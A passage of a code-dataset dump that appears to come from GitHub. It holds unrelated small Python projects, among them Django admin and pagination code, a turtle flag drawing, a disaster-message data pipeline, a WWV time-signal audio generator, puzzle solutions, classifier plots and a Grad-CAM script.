TextInput\nfrom django_admin_search.admin import AdvancedSearchAdmin\n\n# Register your models here.\nadmin.site.site_header = \"Admin\"\nadmin.site.site_title = \"Admin Portal\"\nadmin.site.index_title = \"Welcome\"\n\n\nclass FormSearchMortgage(Form):\n encumbrancees = CharField(required=False, widget=TextInput(\n attrs={\n 'filter_field': 'encumbrancees',\n 'filter_method': '__icontains'\n }\n ))\n instrument_type = CharField(required=False)\n title_no = CharField(required=False)\n\n\nclass TitleMortgagePageAdmin(admin.ModelAdmin):\n list_display = ['title_no', 'encumbrancees', 'instrument_lodged_datetime', 'instrument_type', 'memorial_text']\n\n search_fields = [\n 'title_no',\n 'instrument_type',\n 'encumbrancees'\n ]\n # search_form = FormSearchMortgage\n # ordering = ['-instrument_lodged_datetime']\n\n\nadmin.site.register(TitleMortgage, TitleMortgagePageAdmin)\n","repo_name":"Yhanli/DataWarehouse","sub_path":"DataWarehouse/titleMortgage/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9973086379","text":"from django.shortcuts import render\nfrom .models import Product\nfrom django.core.paginator import Paginator\nfrom .forms import ProductForm\n# Create your views here.\n\n\n\ndef productView(request):\n template_name = \"app1/product.html\"\n form = ProductForm()\n context = {\"form\":form}\n\n if request.method==\"POST\":\n form = ProductForm(request.POST)\n\n if form.is_valid():\n form.save()\n\n\n return render(request,template_name,context)\n\n\n\ndef showView(request):\n template_name = \"app1/show.html\"\n post = Product.objects.all()\n p= Paginator(post,2)\n\n page_number = request.GET.get('page')\n\n try:\n page_obj = p.get_page(page_number)\n\n except PageNotAnInteger:\n page_obj = p.page(1)\n\n except EmptyPage:\n page_obj = p.page(p.num_pages)\n\n context = {\"page_obj\":page_obj}\n\n\n return render(request,template_name,context)\n","repo_name":"ajayingle7/Django_Pagination","sub_path":"Pagination/app1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22829465148","text":"import turtle\r\nimport pyautogui\r\n# Set size of the turtle window to be the size of the screen\r\nxScreen, yScreen = pyautogui.size()\r\nturtle.screensize(xScreen, yScreen)\r\nturtle.setup(xScreen, yScreen)\r\n\r\n# Set size\r\nsize = xScreen / 250\r\n\r\n# Flag dimensions\r\nlength = 190 * size\r\nwidth = 100 * size\r\nstripe = width / 13\r\nstarDiameter = width * 0.0616\r\nstarSide = starDiameter * (17.8/19)\r\nF = width * 0.054\r\nH = width * 0.063\r\n\r\n# Turn off screen updates (optional)\r\n#turtle.tracer(0, 0)\r\n\r\n# Set the turtle's speed to the maximum value\r\nturtle.speed(0)\r\n\r\n# Set the starting position for the turtle\r\nturtle.penup()\r\nturtle.goto(length / 2, width / 2)\r\nturtle.pendown()\r\n\r\n# Set the background color to grey\r\nturtle.bgcolor(\"grey\")\r\n\r\n# Create a variable to keep track of the current color\r\ncurrent_color = \"#BB133E\"\r\n\r\n# Use a for loop to draw the rectangles\r\nfor i in range(13):\r\n # Set the turtle's color to the current color\r\n turtle.color(current_color)\r\n\r\n # Draw the rectangle\r\n turtle.begin_fill()\r\n turtle.left(90)\r\n turtle.forward(stripe)\r\n turtle.left(90)\r\n turtle.forward(length)\r\n turtle.left(90)\r\n turtle.forward(stripe)\r\n turtle.left(90)\r\n turtle.forward(length)\r\n turtle.end_fill()\r\n\r\n # Move the turtle to the next position\r\n turtle.penup()\r\n turtle.right(90)\r\n turtle.forward(stripe)\r\n turtle.left(90)\r\n turtle.pendown()\r\n\r\n # Update the current color\r\n if current_color == \"#BB133E\":\r\n current_color = \"white\"\r\n else:\r\n current_color = \"#BB133E\"\r\n\r\n# Move to draw corner blue rectangle\r\nturtle.penup()\r\nturtle.left(180)\r\nturtle.forward(length)\r\nturtle.right(90)\r\nturtle.forward((stripe * 7) + 1)\r\nturtle.right(90)\r\n\r\n# Set the turtle's color old navy blue\r\nturtle.color(\"#002147\")\r\n\r\n# Draw the rectangle\r\nturtle.pendown()\r\nturtle.begin_fill()\r\nturtle.forward(length * 0.4)\r\nturtle.left(90)\r\nturtle.forward((stripe * 7) - 1)\r\nturtle.left(90)\r\nturtle.forward(length * 0.4)\r\nturtle.left(90)\r\nturtle.forward((stripe * 7) - 1)\r\nturtle.end_fill()\r\n\r\n# Draw the stars\r\nturtle.penup()\r\nturtle.color(\"white\")\r\n\r\n# Move to first star of 6 x 5 rows\r\nturtle.left(180)\r\nturtle.forward((stripe * 7) - 1 - (width * 0.05385))\r\nturtle.right(90)\r\nturtle.forward(H - (starSide * 0.5))\r\n\r\nfor i in range(5):\r\n for _ in range(6):\r\n turtle.pendown()\r\n turtle.begin_fill()\r\n for _ in range(5):\r\n turtle.forward(starSide)\r\n turtle.right(144)\r\n turtle.end_fill()\r\n turtle.penup()\r\n turtle.forward(H * 2)\r\n turtle.left(180)\r\n turtle.forward(H * 12)\r\n turtle.left(90)\r\n turtle.forward(F * 2)\r\n turtle.left(90)\r\n\r\n# Move to first star of 5 x 4 rows\r\nturtle.left(90)\r\nturtle.forward(F * 9)\r\nturtle.right(90)\r\nturtle.forward(H)\r\n\r\nfor i in range(4):\r\n for _ in range(5):\r\n turtle.pendown()\r\n turtle.begin_fill()\r\n for _ in range(5):\r\n turtle.forward(starSide)\r\n turtle.right(144)\r\n turtle.end_fill()\r\n turtle.penup()\r\n turtle.forward(H * 2)\r\n turtle.left(180)\r\n turtle.forward(H * 10)\r\n turtle.left(90)\r\n turtle.forward(F * 2)\r\n turtle.left(90)\r\n\r\nturtle.hideturtle()\r\n\r\n# Update the screen (optional)\r\n#turtle.update()\r\n\r\n# Keep the turtle window open until it is closed\r\nturtle.mainloop()","repo_name":"joshbla/us-flag","sub_path":"flag.py","file_name":"flag.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17484405738","text":"import pandas as pd\nimport os\nimport sys\n\n\ndef extract_data(messages_filepath, categories_filepath):\n \"\"\"Load data\n Returns:\n message and category dataframes\n \"\"\"\n msg_df = pd.read_csv(messages_filepath)\n cat_df = pd.read_csv(categories_filepath)\n\n return msg_df, cat_df\n\n\ndef clean_data(msg_df, cat_df):\n \"\"\"Clean and combine data\n Returns:\n Deduplicated and merged dataframe\n \"\"\"\n # Remove duplicates\n for df in [msg_df, cat_df]:\n dupes = df.id.duplicated()\n df.drop(df.index[dupes], inplace=True)\n df.set_index('id', inplace=True)\n print(f\"Data has shape: {df.shape}\")\n\n # Merge data\n df_out = msg_df.merge(cat_df, left_index=True, right_index=True)\n return df_out\n\n\ndef prep_data(df):\n \"\"\"Modify data to prepare for analysis\n Returns:\n Dataframe with useful features\n \"\"\"\n\n # Make feature for translated messages\n eng_msg = (df.message == df.original) | (df.original.isna())\n df['translated'] = eng_msg\n\n # Split message categories (convert into integers)\n cat_cols = [col[:-2] for col in df.loc[2, 'categories'].split(';')]\n cat_str = df.categories.replace(r'[^012;]', '', regex=True)\n cat_vals = cat_str.str.split(';', expand=True).astype('int')\n cat_vals.columns = cat_cols\n # Remove labels with no instances\n for col in cat_vals.columns:\n if cat_vals[col].sum() == 0:\n print(f\"Dropping {col} because it has no instances\")\n cat_vals.drop(columns=col, inplace=True)\n\n # Join message categories to table\n df = pd.concat([df, cat_vals], axis=1, sort=False)\n df.drop(columns=['original', 'categories'], inplace=True)\n\n return df\n\n\ndef save_data(df, database_filepath, tn='scored_messages'):\n \"\"\"Save table into SQLite database\"\"\"\n from sqlalchemy import create_engine\n engine = create_engine(f'sqlite:///{database_filepath}')\n\n if engine.dialect.has_table(engine, tn):\n from sqlalchemy import MetaData, Table\n meta = MetaData()\n tbl = Table(tn, meta)\n tbl.drop(engine)\n\n df.to_sql(tn, engine, index=False)\n\n\ndef main():\n print(os.getcwd())\n if len(sys.argv) == 4:\n\n messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n print(\"Loading data...\\n MESSAGES: {}\\n CATEGORIES: {}\"\n .format(messages_filepath, categories_filepath))\n msg_df, cat_df = extract_data(messages_filepath, categories_filepath)\n\n print(\"Cleaning data...\")\n df = clean_data(msg_df, cat_df)\n\n print(\"Prepping data\")\n df = prep_data(df)\n\n print('Saving data...\\n DATABASE: {}'.format(database_filepath))\n save_data(df, database_filepath)\n\n print('Cleaned data saved to database!')\n\n else:\n print('Please provide the filepaths of the messages and categories '\\\n 'datasets as the first and second argument respectively, as '\\\n 'well as the filepath of the database to save the cleaned data '\\\n 'to as the third argument. \\n\\nExample: python process_data.py '\\\n 'disaster_messages.csv disaster_categories.csv '\\\n 'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dsduncan/udsn_pipeline","sub_path":"data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30851766074","text":"from dataset import *\nimport numpy as np\nfrom scipy.spatial.distance import directed_hausdorff\nimport open3d as o3d\nimport torch\n\ndef resample_pcd(pcd, n):\n\t\"\"\"Drop or duplicate points so that pcd has exactly n points\"\"\"\n\tidx = np.random.permutation(pcd.shape[0])\n\tif idx.shape[0] < n:\n\t\tidx = np.concatenate([idx, np.random.randint(pcd.shape[0], size = n - pcd.shape[0])])\n\treturn pcd[idx[:n]]\n\ndef get_prior_set(complete_dir):\n\tcomplete_pcds = []\n\tfor f in os.listdir(complete_dir):\n\t\tcomplete_pcd = read_pcd(os.path.join(complete_dir+f))\n\t\tcomplete_pcd = resample_pcd(complete_pcd, 1024)\n\t\tcomplete_pcds.append(complete_pcd)\n\t#partial_pcds = [torch.from_numpy(partial_pcd1), torch.from_numpy(partial_pcd2), torch.from_numpy(partial_pcd3)]\n\treturn complete_pcds\n\ndef read_pcd(filename):\n\tpcd = o3d.io.read_point_cloud(filename, format = 'pcd')\n\treturn np.array(pcd.points)\n\ndef get_prior(p_cloud, c_clouds):\n\t#criterion_PointLoss = PointLoss()\n\tcd_loss = 1000\n\tpartial_pcd = p_cloud\n\tfin_pcd = p_cloud\n\tfor idx in range(len(c_clouds)):\n\t\tcd_loss_tmp = directed_hausdorff(partial_pcd, c_clouds[idx])[0]\n\t\tif cd_loss_tmp < cd_loss:\n\t\t\tcd_loss = cd_loss_tmp\n\t\t\tfin_pcd = c_clouds[idx]\n\t\t\tfin_idx = idx\n\treturn fin_pcd.astype(np.float32), fin_idx\n\ndef get_batch_from_prior(p_clouds, c_clouds):\n\tfin_pcds = []\n\tfor i in range(len(p_clouds)):\n\t\tprior = get_prior(p_clouds[i], c_clouds)\n\t\tfin_pcds.append(np.concatenate((p_clouds[i], prior),axis = 0))\n\t\tfin_pcds.append(get_prior(p_clouds[i], c_clouds))\n\treturn torch.from_numpy(np.asarray(fin_pcds))","repo_name":"nitikasuresh/point-cloud-completion","sub_path":"inquary.py","file_name":"inquary.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"69975544989","text":"from math import sqrt\n\ndef find_factors(n):\n factors = [1]\n for i in range(2, int(sqrt(n)) + 1):\n if n % i == 0:\n factors.append(i)\n factors.append(n / i) # Factors come in pairs\n return factors\n\ndef find_amicable_numbers_below(below_limit):\n # First find all factor sums\n factor_sums = [sum(find_factors(i)) for i in range(2, below_limit * 2)]\n # Then find if any are amicable\n amicable_numbers = []\n for i in range(0, len(factor_sums)):\n current_number = i + 2\n current_factor_sum = factor_sums[i]\n # Check overflow, underflow, uniqueness, and amicability\n if (current_factor_sum != 1 and\n current_factor_sum < len(factor_sums) + 1 and\n factor_sums[current_factor_sum - 2] == current_number and\n current_number < current_factor_sum):\n amicable_numbers.extend([current_number, current_factor_sum])\n return filter(lambda x: True if x < below_limit else False,\n amicable_numbers)\n\nif __name__ == \"__main__\":\n amicable_numbers = find_amicable_numbers_below(10000)\n\n print(amicable_numbers)\n print(sum(amicable_numbers))\n\n","repo_name":"LangdalP/EulerCode","sub_path":"Problem1-24/Problem021/peder.py","file_name":"peder.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"27139342899","text":"import json\r\nimport logging\r\n\r\nlogging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')\r\n\r\ndef parse_user(output_file, *input_files):\r\n res = []\r\n names = []\r\n for file in input_files:\r\n try:\r\n myFile = open(str(file), mode=\"r\", encoding=\"utf_8\")\r\n list = json.load(myFile)\r\n for person_data in list:\r\n keys = person_data.keys()\r\n val = \"name\" if \"name\" in keys else \"Name\"\r\n\r\n if person_data[val] not in names:\r\n res.append(person_data)\r\n names.append(person_data[val])\r\n myFile.close()\r\n except FileNotFoundError:\r\n print(f\"root - ERROR - File {file} doesn't exists\")\r\n # print(res)\r\n result = open(output_file, mode=\"w\", encoding=\"utf_8\")\r\n\r\n json.dump(res, result)\r\n\r\n\r\n\r\n\r\nparse_user(\"Sprint_6_task_2_res.json\",\"Sprint_6_task_1.json\", \"Sprint_6_task_2.json\", \"Sprint_6_task_8.json\", \"Sprint_6_task_8.json\")\r\n\r\n","repo_name":"Zemliakov-Sasha/python-online-marathon","sub_path":"sprint_6/Sprint_6_task_2.py","file_name":"Sprint_6_task_2.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31002451982","text":"from pydub import AudioSegment\nfrom pydub.generators import Sine\nfrom pydub.utils import make_chunks\nfrom pyaudio import PyAudio, paInt16\nfrom datetime import datetime, timedelta, timezone\n# from requests import get\n# import ntplib\nfrom threading import Thread\nfrom time import sleep\n\nclass WWV_gen():\n\n def __init__(self) -> None:\n self.sec = AudioSegment.silent(duration=1000, frame_rate=96000)\n khz_1 = Sine(1000, sample_rate=96000)\n khz_1_5 = Sine(1500, sample_rate=96000)\n self.tickSig = khz_1.to_audio_segment(duration=5, volume=-2)+self.sec[:995]\n self.tickMin = khz_1.to_audio_segment(duration=800, volume=-2)+self.sec[:200]\n self.tickHour = khz_1_5.to_audio_segment(duration=800, volume=-2)+self.sec[:200]\n self.midTickStart = AudioSegment.silent(duration=30, frame_rate=96000)\n self.midTickEnd = AudioSegment.silent(duration=10, frame_rate=96000)\n self.midTick440 = Sine(440, sample_rate=96000).to_audio_segment(duration=1960, volume=-2)\n self.midTick500 = Sine(500, sample_rate=96000).to_audio_segment(duration=1960, volume=-2)\n self.midTick600 = Sine(600, sample_rate=96000).to_audio_segment(duration=1960, volume=-2)\n bcdSig = Sine(100, sample_rate=96000)\n BCD = self.sec\n self.BCDShort = BCD.overlay(bcdSig.to_audio_segment(duration=170, volume=-9))\n self.BCDMedium = BCD.overlay(bcdSig.to_audio_segment(duration=470, volume=-9))\n self.BCDLong = BCD.overlay(bcdSig.to_audio_segment(duration=770, volume=-9))\n\n def genTick(self, next):\n now = datetime.utcnow()\n if next:\n now = now + timedelta(minutes=1)\n now = now.timetuple()\n else:\n now = now.timetuple()\n min = now.tm_min\n if min == 0:\n tickMin = self.tickHour\n else:\n tickMin = self.tickMin\n\n tickCycle = tickMin+(self.tickSig*28)+self.sec+(self.tickSig*29)+self.sec\n return tickCycle\n \n def genMidTick(self, next):\n \n now = datetime.utcnow()\n if next:\n now = now + timedelta(minutes=1)\n now = now.timetuple()\n else:\n now = now.timetuple()\n min = now.tm_min\n hour = now.tm_hour\n\n if min in [4, 6, 12, 14, 16, 20, 22, 24, 26, 28, 32, 34, 36, 38, 40, 42, 52, 54, 56, 58]:\n midTick = self.midTickStart+self.midTick500[:960]+self.midTickEnd\n midTickLong = self.midTickStart+self.midTick500+self.midTickEnd\n midTickCycle = self.sec+(midTick*27)+midTickLong+(midTick*15)\n elif min in [1, 3, 5, 7, 11, 13, 15, 17, 19, 21, 23, 25, 27, 31, 33, 35, 37,39, 41, 53, 55, 57]:\n midTick = self.midTickStart+self.midTick600[:960]+self.midTickEnd\n midTickLong = self.midTickStart+self.midTick600+self.midTickEnd\n midTickCycle = self.sec+(midTick*27)+midTickLong+(midTick*15)\n elif min in [2] and hour != 0:\n midTick = self.midTickStart+self.midTick440[:960]+self.midTickEnd\n midTickLong = self.midTickStart+self.midTick440+self.midTickEnd\n midTickCycle = self.sec+(midTick*27)+midTickLong+(midTick*15)\n else:\n midTickCycle = AudioSegment.empty()\n return midTickCycle\n \n def genBCDCode(self, next=False):\n now = datetime.utcnow()\n\n if next:\n now = now + timedelta(minutes=1)\n now = now.timetuple()\n else:\n now = now.timetuple()\n\n year = str(now.tm_year).rjust(4, \"0\")\n year_bin = format(int(year[3]), 'b').rjust(4,\"0\")[::-1]\n year_ten_bin = format(int(year[2]), 'b').rjust(4,\"0\")[::-1]\n\n hour = str(now.tm_hour).rjust(2, \"0\")\n hour_bin = format(int(hour[1]), 'b').rjust(4,\"0\")[::-1]\n hour_ten_bin = format(int(hour[0]), 'b').rjust(2,\"0\")[::-1]\n\n minutes = str(now.tm_min).rjust(2, \"0\")\n minutes_bin = format(int(minutes[1]), 'b').rjust(4,\"0\")[::-1]\n minutes_ten_bin = format(int(minutes[0]), 'b').rjust(3,\"0\")[::-1]\n\n days = str(now.tm_yday).rjust(3, \"0\")\n days_bin = format(int(days[2]), 'b').rjust(4,\"0\")[::-1]\n days_ten_bin = format(int(days[1]), 'b').rjust(4,\"0\")[::-1]\n days_hun_bin = format(int(days[0]), 'b').rjust(2,\"0\")[::-1]\n\n dst = now.tm_isdst\n # try:\n # webLeap = get(\"https://hpiers.obspm.fr/eop-pc/webservice/CURL/leapSecond.php\").split(\"|\")[2]\n # except:\n # webLeap = \"Not Scheduled\"\n webLeap = \"Not Scheduled\"\n leap = \"1\" if webLeap != \"Not Scheduled\" else \"0\"\n\n BCDCode = [\"S\", \"0\"] ## 0,1\n BCDCode.append(\"1\") if dst > 0 else BCDCode.append(\"0\") ## 2\n BCDCode.append(leap) ## 3\n for i in list(year_bin):\n BCDCode.append(i) ## 4, 5, 6, 7\n BCDCode.append(\"0\") ## 8\n BCDCode.append(\"M\") ## 9\n for i in list(minutes_bin):\n BCDCode.append(i) ## 10, 11, 12, 13\n BCDCode.append(\"0\") ## 14\n for i in list(minutes_ten_bin):\n BCDCode.append(i) ## 15, 16, 17\n BCDCode.append(\"0\") ## 18\n BCDCode.append(\"M\") ## 19\n for i in list(hour_bin):\n BCDCode.append(i) ## 20, 21, 22, 23\n BCDCode.append(\"0\") ## 24\n for i in list(hour_ten_bin):\n BCDCode.append(i) ## 25, 26\n BCDCode.append(\"0\") ## 27\n BCDCode.append(\"0\") ## 28\n BCDCode.append(\"M\") ## 29\n for i in list(days_bin):\n BCDCode.append(i) ## 30, 31, 32, 33\n BCDCode.append(\"0\") ## 34\n for i in list(days_ten_bin):\n BCDCode.append(i) ## 35, 36, 37, 38\n BCDCode.append(\"M\") ## 39\n for i in list(days_hun_bin):\n BCDCode.append(i) ## 40, 41\n BCDCode.append(\"0\") ## 42\n BCDCode.append(\"0\") ## 43\n BCDCode.append(\"0\") ## 44\n BCDCode.append(\"0\") ## 45\n BCDCode.append(\"0\") ## 46\n BCDCode.append(\"0\") ## 47\n BCDCode.append(\"0\") ## 48\n BCDCode.append(\"M\") ## 49\n BCDCode.append(\"0\") ## 50\n for i in list(year_ten_bin):\n BCDCode.append(i) ## 51, 52, 53, 54\n BCDCode.append(\"1\") if dst > 0 else BCDCode.append(\"0\") ## 55\n BCDCode.append(\"0\") ## 56\n BCDCode.append(\"0\") ## 57\n BCDCode.append(\"0\") ## 58\n BCDCode.append(\"M\") ## 59\n return BCDCode\n\n\n def genBCD(self, next=False):\n BCD = self.genBCDCode(next)\n BCDCycle = AudioSegment.silent(30)\n for i in BCD:\n if i == \"S\":\n BCDCycle += self.sec\n elif i == \"0\":\n BCDCycle += self.BCDShort\n elif i == \"1\":\n BCDCycle += self.BCDMedium\n elif i == \"M\":\n BCDCycle += self.BCDLong\n return BCDCycle[:60000]\n \n def generate(self, next=False):\n ticks = self.genTick(next)\n midTicks = self.genMidTick(next)\n BCD = self.genBCD(next)\n tickSig = ticks.overlay(midTicks)\n sig = tickSig.overlay(BCD)\n return sig\n \nclass WWV():\n def __init__(self, second) -> None:\n self.genClass = WWV_gen()\n stream = PyAudio()\n self.playerItems = []\n self.out = stream.open(rate=96000, channels=1, format=paInt16, output=True)\n self.genThread = Thread(target=self.generate, name=\"GenThread\")\n self.playerThread = Thread(target=self.player, name=\"PlayerThread\")\n if second > 45:\n print(\"Pre-Generating next cycle...\")\n currCycle = self.genClass.generate(True) \n elif second < 45:\n print(\"Pre-Generating current cycle...\")\n currCycle = self.genClass.generate()\n for i in make_chunks(currCycle[44000:], 100):\n self.playerItems.append(i)\n\n def start(self):\n self.genThread.start()\n self.playerThread.start()\n\n def generate(self):\n while True:\n nextCycle = self.genClass.generate(True)\n for i in make_chunks(nextCycle, 100):\n self.playerItems.append(i)\n sleep(60)\n\n def player(self):\n while True:\n if len(self.playerItems) != 0:\n i = self.playerItems.pop(0)\n self.out.write(i.raw_data)\n\n\nif __name__ == \"__main__\":\n print(\"Preparing, please wait...\")\n now = datetime.utcnow().time()\n oof = WWV(now.second)\n print(\"Waiting for Sync...\")\n while now.second != 45:\n print(str(now.second).rjust(2, \"0\")+\".\"+str(now.microsecond).rjust(6, \"0\")+\"...\", end=\"\\r\")\n now = datetime.utcnow().time()\n print(str(now.second).rjust(2, \"0\")+\".\"+str(now.microsecond).rjust(6, \"0\")+\"... SYNC'D!\", end=\"\\r\")\n oof.start()\n while True:\n input()\n\n\n","repo_name":"A-c0rN/WWV","sub_path":"wwv.py","file_name":"wwv.py","file_ext":"py","file_size_in_byte":8738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36194931903","text":"from math import sqrt\n\na = float(input('Digite o valor de a: '))\nb = float(input('Digite o valor de b: '))\nc = float(input('Digite o valor de c: '))\n\ndelta = b ** 2 - 4 * a * c\n\nif delta < 0:\n print('esta equação não possui raízes reais')\nelif delta == 0:\n raiz = float((-b + sqrt(delta)) / (2 * a))\n print(\"a raiz desta equação é\", raiz)\nelse:\n r1 = float((-b + sqrt(delta)) / (2 * a))\n r2 = float((-b - sqrt(delta)) / (2 * a))\n #print(r1,' - ',r2)\n if r1 <= r2:\n print('as raízes da equação são', r1,'e', r2)\n else:\n print('as raízes da equação são', r2, 'e', r1)","repo_name":"antonio-abrantes/Introducao_Ciencias_da_Computacao_Coursera","sub_path":"semana03/questao01.py","file_name":"questao01.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16729007833","text":"from bika.health.browser.analysisrequests.view import AnalysisRequestsView as BaseView\n\n\nclass AnalysisRequestsView(BaseView):\n def __init__(self, context, request):\n super(AnalysisRequestsView, self).__init__(context, request)\n self.contentFilter['DoctorUID'] = self.context.UID()\n\n def filteritems(self, items):\n outitems = []\n for x in range(len(items)):\n if 'obj' in items[x]:\n ar = items[x]['obj']\n doctor = ar.Schema()['Doctor'].get(ar) if 'Doctor' in ar.Schema() else None\n if (doctor and doctor.UID() == self.context.UID()):\n outitems.append(items[x])\n return outitems\n","repo_name":"bikalims/bika.health","sub_path":"bika/health/browser/doctor/analysisrequests.py","file_name":"analysisrequests.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"72423490907","text":"class bag:\n\tdef __init__(self, name, rules):\n\t\tself.name = name;\n\t\t# rules = [[number, name]]\n\t\tself.rules = rules;\n\n\tdef shiny(self, bags):\n\t\tif any([r[1] == \"shiny gold\" for r in self.rules]):\n\t\t\treturn True;\n\t\telse:\n\t\t\tfor r in self.rules:\n\t\t\t\tname = r[1];\n\t\t\t\tfor bag in bags:\n\t\t\t\t\tif bag.name == name:\n\t\t\t\t\t\tif bag.shiny(bags):\n\t\t\t\t\t\t\treturn True;\n\t\treturn False;\n\n\tdef get_num_of_bags(self, bags):\n\t\ttotal = 0;\n\t\tfor r in self.rules:\n\t\t\tname = r[1];\n\t\t\tamount = r[0]\n\t\t\tfor bag in bags:\n\t\t\t\tif bag.name == name:\n\t\t\t\t\ttotal += (amount * bag.get_num_of_bags(bags));\n\t\tif total != 0:\n\t\t\treturn total + 1;\n\t\treturn 1;\n\nwith open(\"day7.txt\") as f:\n\ttext = f.readlines();\n\nbags = [];\nfor rule in text:\n\tname = rule.split(\" bags contain \")[0];\n\trules = [];\n\trule = rule.split(\" bags contain \")[1].replace(\".\\n\", \"\");\n\tfor r in rule.split(\", \"):\n\t\tif r != \"no other bags\":\n\t\t\tnR = r.split(\" \");\n\t\t\trules.append([int(nR[0]), \" \".join(nR[1:3])]);\n\tbags.append(bag(name, rules));\n\nfor bag in bags:\n\tprint(bag.name, bag.shiny(bags));\n\nprint([bag.shiny(bags) for bag in bags].count(True));\n\nfor bag in bags:\n\tif bag.name == \"shiny gold\":\n\t\tprint(bag.get_num_of_bags(bags) - 1);","repo_name":"ianjwhitehouse/AoC2020","sub_path":"day7.1.py","file_name":"day7.1.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35654645578","text":"import random\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\n\ndataset = pd.read_csv('data.csv')\nX = dataset.iloc[:, 1:].values\ny = dataset.iloc[:, 0].values\n\nle = LabelEncoder()\nle.fit(y)\ny = le.transform(y)\n\n# X = SelectKBest(f_classif, k=2).fit_transform(X, y)\nX = X[:, [0,1]]\n\n#print(X.shape, y.shape)\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n\n# To musi byc inaczej nie dziala\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\nclassifiers = [GaussianNB(),\n LogisticRegression(random_state=0),\n KNeighborsClassifier(n_neighbors=5, metric='minkowski', p=2),\n DecisionTreeClassifier(criterion='entropy', random_state=0),\n RandomForestClassifier(n_estimators=10, criterion='entropy', random_state=0)]\n\ntitles = [\"Bayes Gaussian\", \"LogisticRegression\", \"KNN\", \"Decision Tree\", \"RandomForestTree\"]\nsubplots = [321, 322, 323, 324, 325]\nplt.figure(1)\nplt.subplots_adjust(hspace=0.4)\n\nfrom matplotlib import cm\nfor i, classifier in enumerate(classifiers):\n classifier.fit(X_train, y_train)\n X_set, y_set = X_train, y_train\n\n X1, X2 = np.meshgrid(np.arange(start=X_set[:, 0].min() - 1, stop=X_set[:, 0].max() + 1, step=0.01),\n np.arange(start=X_set[:, 1].min() - 1, stop=X_set[:, 1].max() + 1, step=0.01))\n\n\n plt.subplot(subplots[i])\n predictions = classifier.predict(np.array([X1.ravel(), X2.ravel()]).T)\n print(set(predictions))\n plt.contourf(X1, X2, predictions.reshape(X1.shape), alpha=0.5)\n\n plt.title(titles[i])\n\n #for i, j in enumerate(np.unique(y_set)):\n # plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],c=plt.cm.get_cmap('cubehelix', 26)(i), label=j)\nplt.show()\n\n\n","repo_name":"EvIld95/KrawiecPUT","sub_path":"granice.py","file_name":"granice.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31465107592","text":"from torch.utils.data import DataLoader\nimport numpy as np\nimport os\nimport torch\nfrom utils import dataset_precip\nfrom tqdm import tqdm\nfrom models import models\nimport matplotlib.pyplot as plt\nimport warnings\nfrom pytorch_grad_cam.utils.image import show_cam_on_image\nfrom pytorch_grad_cam import GradCAM\n\nwarnings.filterwarnings('ignore')\nwarnings.simplefilter('ignore')\n\n\nclass SemanticSegmentationTarget:\n def __init__(self, category, mask, device):\n self.category = category\n self.mask = torch.from_numpy(mask)\n if device == 'cuda':\n self.mask = self.mask.cuda()\n\n def __call__(self, model_output):\n return (model_output[self.category, :, :] * self.mask).sum()\n\n\ndef load_model(model, model_folder, device):\n models = [m for m in os.listdir(model_folder) if \".ckpt\" in m]\n model_file = models[-1]\n model = model.load_from_checkpoint(f\"{model_folder}/{model_file}\")\n model.eval()\n model.to(torch.device(device))\n return model\n\n\ndef get_segmentation_data(in_channels):\n dataset = dataset_precip.precipitation_maps_oversampled_h5(\n folder=data_file,\n in_channels=in_channels,\n train=False)\n\n test_dl = torch.utils.data.DataLoader(\n dataset,\n batch_size=1,\n shuffle=False,\n num_workers=0,\n pin_memory=True\n )\n return test_dl\n\n\ndef run_cam(model, target_layers, device, in_channels):\n test_dl = get_segmentation_data(in_channels)\n for x, y_true in tqdm(test_dl, leave=False):\n x = x.to(torch.device(device))\n output = model(x)\n mask = np.digitize((output[0][0] * 47.83 * 12).detach().cpu().numpy(), np.array([1.5]), right=True)\n mask_float = np.float32(mask)\n image = torch.stack([x[0][0], x[0][0], x[0][0]], dim=2)\n image = image.cpu().numpy()\n targets = [SemanticSegmentationTarget(0, 